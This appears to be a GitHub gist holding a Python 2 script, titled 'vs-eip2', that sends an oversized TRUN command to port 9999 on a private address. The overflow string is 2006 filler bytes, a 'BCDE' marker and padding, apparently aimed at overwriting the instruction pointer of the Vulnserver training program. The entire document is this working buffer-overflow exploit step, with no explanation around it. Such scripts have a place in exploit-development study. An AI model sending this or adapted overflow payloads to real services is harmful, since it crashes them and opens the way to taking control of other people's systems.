Created
January 3, 2021 11:57
-
-
Save whichbuffer/d865483ff4731416592be5d6fc229401 to your computer and use it in GitHub Desktop.
vs-eip2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
server = '192.168.119.129' | |
sport = 9999 | |
prefix = 'A' * 2006 | |
eip = 'BCDE' | |
padding = 'F' * (3000 - 2006 - 4) | |
attack = prefix + eip + padding | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect = s.connect((server, sport)) | |
print s.recv(1024) | |
print "Sending attack to TRUN . with length ", len(attack) | |
s.send(('TRUN .' + attack + '\r\n')) | |
print s.recv(1024) | |
s.send('EXIT\r\n') | |
print s.recv(1024) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment